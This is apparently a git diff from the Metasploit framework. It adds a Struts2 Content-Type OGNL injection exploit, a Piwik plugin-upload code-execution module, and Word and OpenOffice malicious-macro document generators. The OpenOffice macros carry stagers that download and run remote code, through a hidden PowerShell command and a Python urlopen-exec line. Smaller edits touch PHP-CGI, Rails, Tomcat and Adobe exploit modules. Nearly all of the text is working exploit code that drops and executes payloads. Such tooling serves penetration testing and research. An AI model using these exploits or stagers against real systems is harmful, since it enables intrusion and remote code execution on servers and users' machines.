'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Targets' => + [ + [ + 'Microsoft Office Word on Windows', + { + 'Platform' => 'win', + } + ], + [ + 'Microsoft Office Word on Mac OS X (Python)', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2012" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', + 'Contents of this document are protected. Please click Enable Content to continue.' + ]), + OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) + ], self.class) + end + + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /document\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /core\.xml/ + p = target.name =~ /Python/ ? payload.encoded : generate_payload_exe + b64_payload = ' ' * 55 + b64_payload << Rex::Text.encode_base64(p) + buf.gsub!(/PAYLOADGOESHERE/, b64_payload) + end + + # The original filename of __rels is actually ".rels". + # But for some reason if that's our original filename, it won't be included + # in the archive. So this hacks around that. + case short_fname + when /__rels/ + short_fname.gsub!(/\_\_rels/, '.rels') + end + + yield short_fname, buf + end + + + def package_docm(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our docm file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index a5d142906b..4fabf1b337 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -114,6 +114,9 @@ class MetasploitModule < Msf::Exploit::Remote create_arg("-d",'disable_functions=""'), create_arg("-d","open_basedir=none"), create_arg("-d","auto_prepend_file=php://input"), + create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"), + create_arg("-d", "cgi.redirect_status_env=0"), + create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"), rand_opt_equiv("-n") ] diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index cb6d0a8360..4f2f04081b 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -235,7 +235,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => datastore['HTTP_METHOD'], }, 25) if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + match = res.get_cookies.match(/([.-_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end if match diff --git a/modules/exploits/multi/http/struts2_content_type_ognl.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb new file mode 100644 index 0000000000..6b7b959950 --- /dev/null +++ b/modules/exploits/multi/http/struts2_content_type_ognl.rb @@ -0,0 +1,229 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', + 'Description' => %q{ + This module exploits a remote code execution vunlerability in Apache Struts + version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed + via http Content-Type header. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. + }, + 'Author' => [ + 'Nike.Zheng', # PoC + 'Nixawk', # Metasploit module + 'Chorder', # Metasploit module + 'egypt', # combining the above + 'Jeffrey Martin', # Java fu + ], + 'References' => [ + ['CVE', '2017-5638'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Universal', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + ], + 'DisclosureDate' => 'Mar 07 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), + ] + ) + register_advanced_options( + [ + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + ] + ) + + @data_header = "X-#{rand_text_alpha(4)}" + end + + def check + var_a = rand_text_alpha_lower(4) + + ognl = "" + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| + + begin + resp = send_struts_request(ognl) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.headers[var_a] + vprint_good("Victim operating system: #{resp.headers[var_a]}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + case payload.arch.first + #when ARCH_JAVA + # datastore['LHOST'] = nil + # resp = send_payload(payload.encoded_jar) + when ARCH_CMD + resp = execute_command(payload.encoded) + else + resp = send_payload(generate_payload_exe) + end + + require'pp' + pp resp.headers if resp + end + + def send_struts_request(ognl, extra_header: '') + uri = normalize_uri(datastore["TARGETURI"]) + content_type = "%{(#_='multipart/form-data')." + content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + content_type << "(#_memberAccess?" + content_type << "(#_memberAccess=#dm):" + content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + content_type << "(#ognlUtil.getExcludedPackageNames().clear())." + content_type << "(#ognlUtil.getExcludedClasses().clear())." + content_type << "(#context.setMemberAccess(#dm))))." + content_type << ognl + content_type << "}" + + headers = { 'Content-Type' => content_type } + if extra_header + headers[@data_header] = extra_header + end + + #puts content_type.gsub(").", ").\n") + #puts + + resp = send_request_cgi( + 'uri' => uri, + 'method' => datastore['HTTPMethod'], + 'headers' => headers + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def execute_command(cmd) + ognl = '' + ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + + # You can add headers to the server's response for debugging with this: + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('decoded',#cmd)).| + + ognl << %q|(#os=@java.lang.System@getProperty('os.name')).| + ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| + ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| + ognl << %q|(#p.redirectErrorStream(true)).| + ognl << %q|(#process=#p.start())| + + send_struts_request(ognl, extra_header: cmd) + end + + def send_payload(exe) + + ognl = "" + ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| + ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| + #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| + #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| + ognl << %q|(#f.setExecutable(true)).| + ognl << %q|(#f.deleteOnExit()).| + ognl << %q|(#fos=new java.io.FileOutputStream(#f)).| + + # Using stuff from the sun.* package here means it likely won't work on + # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to + # work and I don't see a better way of getting binary data onto the + # system. =/ + ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| + ognl << %q|(#fos.write(#d)).| + ognl << %q|(#fos.close()).| + + ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| + ognl << %q|(#p.start()).| + ognl << %q|(#f.delete())| + + send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n")) + end + +end + +=begin +Doesn't work: + + ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| + ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| + ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| + ognl << %q|(#r.addHeader('meth',#m.toGenericString())).| + ognl << %q|(#m.invoke(null,null)).| + + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 + #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 + + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 + #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 + #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed + #ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 + +=end diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index a46b62a490..19afb97279 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -419,7 +419,7 @@ class MetasploitModule < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['HttpPassword'].downcase, + private_data: datastore['HttpPassword'], username: datastore['HttpUsername'] } diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb index b37ff74a0d..52cc1e182f 100644 --- a/modules/exploits/multi/local/allwinner_backdoor.rb +++ b/modules/exploits/multi/local/allwinner_backdoor.rb @@ -41,6 +41,7 @@ class MetasploitModule < Msf::Exploit::Local "Arch" => ARCH_ARMLE, "References" => [ + [ "CVE", "2016-10225" ], [ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"], [ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \ "https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"], diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb new file mode 100644 index 0000000000..23c4a95ecc --- /dev/null +++ b/modules/exploits/multi/misc/openoffice_document_macro.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'cgi' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + WINDOWSGUI = 'windows' + OSXGUI = 'osx' + LINUXGUI = 'linux' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", + 'Description' => %q{ + This module generates an Apache OpenOffice Text Document with a malicious macro in it. + To exploit successfully, the targeted user must adjust the security level in Macro + Security to either Medium or Low. If set to Medium, a prompt is presented to the user + to enable or disable the macro. If set to Low, the macro can automatically run without + any warning. + + The module also works against LibreOffice. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false + }, + 'Targets' => + [ + [ + 'Apache OpenOffice on Windows (PSH)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + }], + [ + 'Apache OpenOffice on Linux/OSX (Python)', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 8 2017" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) + ], self.class) + end + + + def on_request_uri(cli, req) + print_status("Sending payload") + + if target.name =~ /PSH/ + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) + else + p = payload.encoded + end + + send_response(cli, p, 'Content-Type' => 'application/octet-stream') + end + + + def primer + print_status("Generating our odt file for #{target.name}...") + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') + docm = package_odt(path) + file_create(docm) + end + + + def get_windows_stager + %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")| + end + + + def get_unix_stager + %Q|Shell("#{generate_python_stager}")| + end + + + def generate_psh_stager + @windows_psh_stager ||= lambda { + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) + download_and_run = "#{ignore_cert}#{download_string}" + generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run) + }.call + end + + + def generate_python_stager + @python_stager ||= lambda { + %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""| + }.call + end + + + def get_statger + case target.name + when /PSH/ + get_windows_stager + when /Python/ + get_unix_stager + end + end + + + # This macro code has the following in mind: + # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX, + # we only want to fire at those. + # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it. + # This turned out to be problematic, because for some reason OpenOffice is not able to + # write a large string to a file (I've tried either shell("echo") or using the macro API). + # The stager code is similar to web_delivery. + def macro_code + CGI.escapeHTML(%Q| + Sub OnLoad + Dim os as string + os = GetOS + If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then + Exploit + end If + End Sub + + Sub Exploit + #{get_statger} + End Sub + + Function GetOS() as string + select case getGUIType + case 1: + GetOS = "#{WINDOWSGUI}" + case 3: + GetOS = "#{OSXGUI}" + case 4: + GetOS = "#{LINUXGUI}" + end select + End Function + + Function GetExtName() as string + select case GetOS + case "#{WINDOWSGUI}" + GetFileName = "exe" + case else + GetFileName = "bin" + end select + End Function + |) + end + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /content\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /Module1\.xml/ + buf.gsub!(/CODEGOESHERE/, macro_code) + end + + yield short_fname, buf + end + + + def package_odt(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + super + end + +end diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb new file mode 100644 index 0000000000..3d0f212400 --- /dev/null +++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb @@ -0,0 +1,365 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Piwik Superuser Plugin Upload', + 'Description' => %q{ + This module will generate a plugin, pack the payload into it + and upload it to a server running Piwik. Superuser Credentials are + required to run this module. This module does not work against Piwik 1 + as there is no option to upload custom plugins. + Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'FireFart' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ] + ], + 'DisclosureDate' => 'Feb 05 2017', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Piwik', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']), + OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']), + OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def normalized_index + normalize_uri(target_uri, 'index.php') + end + + def get_piwik_version(login_cookies) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Feedback', + 'action' => 'index', + 'idSite' => '1', + 'period' => 'day', + 'date' => 'yesterday' + } + }) + + piwik_version_regexes = [ + /About Piwik ([\w\.]+) -/, + /content-title="About Piwik ([\w\.]+)"/, + /About Piwik ([\w\.]+)/m + ] + + if res && res.code == 200 + for r in piwik_version_regexes + match = res.body.match(r) + if match + return match[1] + end + end + end + + # check for Piwik version 1 + # the logo.svg is only available in version 1 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') + }) + if res && res.code == 200 && res.body =~ / 'GET', + 'uri' => normalized_index, + 'cookie' => login_cookies, + 'vars_get' => { + 'module' => 'Installation', + 'action' => 'systemCheckPage' + } + }) + + if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ + return false + elsif res && res.body =~ /id="systemCheckRequired"/ + return true + else + return false + end + end + + def generate_plugin(plugin_name) + plugin_json = %Q|{ + "name": "#{plugin_name}", + "description": "#{plugin_name}", + "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", + "theme": false + }| + + plugin_script = %Q| 'GET', + 'uri' => normalized_index + }) + if res && res.code == 200 && res.body =~ / 'GET', + 'uri' => normalized_index, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + } + }) + + login_nonce = nil + if res && res.code == 200 + match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/) + if match + login_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil? + + cookies = res.get_cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Login', + 'action' => 'index' + }, + 'vars_post' => { + 'form_login' => "#{username}", + 'form_password' => "#{password}", + 'form_nonce' => "#{login_nonce}" + } + }) + + if res && res.redirect? && res.redirection + # update cookies + cookies = res.get_cookies + else + # failed login responds with code 200 and renders the login form + fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik') + end + print_good('Authenticated with Piwik') + + print_status("Checking if user #{username} has superuser access") + superuser = is_superuser?(cookies) + if superuser + print_good("User #{username} has superuser access") + else + fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access") + end + + print_status('Trying to get Piwik version') + piwik_version = get_piwik_version(cookies) + if piwik_version.nil? + print_warning('Unable to detect Piwik version. Trying to continue.') + else + print_good("Detected Piwik version #{piwik_version}") + end + + if piwik_version == '1.x' + fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module') + end + + # Only versions after 3 have a seperate Marketplace plugin + if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3') + marketplace_available = true + else + marketplace_available = false + end + + if marketplace_available + print_status("Checking if Marketplace plugin is active") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'index' + } + }) + fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res + if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/ + print_status('Marketplace plugin is not enabled, trying to enable it') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'plugins' + } + }) + mp_activate_nonce = nil + if res && res.code == 200 + match = res.body.match(//) + if match + mp_activate_nonce = match[1] + end + end + fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'pluginName' => 'Marketplace', + 'nonce' => "#{mp_activate_nonce}" + } + }) + if res && res.redirect? + print_good('Marketplace plugin enabled') + else + fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.') + end + else + print_good('Seems like the Marketplace plugin is already enabled') + end + end + + print_status('Generating plugin') + plugin_name = Rex::Text.rand_text_alpha(10) + zip = generate_plugin(plugin_name) + print_good("Plugin #{plugin_name} generated") + + print_status('Uploading plugin') + + # newer Piwik versions have a seperate Marketplace plugin + if marketplace_available + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'Marketplace', + 'action' => 'overview' + } + }) + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'marketplace' + } + }) + end + + upload_nonce = nil + if res && res.code == 200 + match = res.body.match(/ 'POST', + 'uri' => normalized_index, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'uploadPlugin', + 'nonce' => "#{upload_nonce}" + } + ) + activate_nonce = nil + if res && res.code == 200 + match = res.body.match(/ 'GET', + 'uri' => normalized_index, + 'cookie' => cookies, + 'vars_get' => { + 'module' => 'CorePluginsAdmin', + 'action' => 'activate', + 'nonce' => "#{activate_nonce}", + 'pluginName' => "#{plugin_name}" + } + }, 5) + end +end + diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 39112c8f94..ee0bd5ed76 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb index 20550092a5..89371513f5 100644 --- a/modules/exploits/windows/browser/adobe_flash_avm2.rb +++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb index 7d18fb3de6..4630fa186b 100644 --- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false, 'EXITFUNC' => "thread" }, diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 3e0b780952..4574cbf54b 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git 